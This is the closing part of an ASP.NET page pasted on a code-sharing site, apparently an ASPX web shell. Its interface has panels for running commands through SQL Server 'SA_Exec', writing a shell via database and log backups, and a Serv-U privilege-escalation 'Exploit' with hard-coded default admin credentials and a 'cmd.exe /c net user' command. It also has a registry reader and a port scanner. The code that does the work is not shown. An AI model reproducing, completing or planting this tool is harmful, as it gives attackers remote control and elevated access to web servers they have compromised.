  1497.             ConnString :
  1498.             <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1499.             <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1500.             <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1501.             <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1502.             <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1503.                 <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1504.                 <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1505.                 <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1506.                 <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1507.             <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1508.                <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1509.             <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1510.             <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1511.                 <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1512.                 <div style="text-align:left">
  1513.                 <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1514.             <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1515.                 Path :
  1516.                 <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1517.                 <br />
  1518.                 <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1519.                     ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1520.                 <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1521.             <br /><br />
  1522.             <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
  1523.          <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1524.              <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1525. </asp:DataGrid></div>
  1526.         </asp:Panel>
  1527.         <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1528.             <hr />
  1529.             Name :
  1530.             <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1531.             Pass :
  1532.             <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1533.             Port :
  1534.             <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1535.             CMD :
  1536.             <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1537.             <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1538.             <div style="text-align:left">
  1539.             <hr />
  1540.             <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1541.             </div>
  1542.             </asp:Panel>
  1543.         <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1544.             <hr />
  1545.             <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1546.         <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1547.             KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1548.             VALUE :
  1549.             <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1550.                 ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1551.             <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1552.         <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1553.             <hr /><div style="text-align:left">
  1554.                 IP :
  1555.                 <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1556.                 PORT :
  1557.             <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1558.                 <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1559.                 <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1560.        
  1561.     </div></form>
  1562. </body>
  1563. </html>
  1564.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement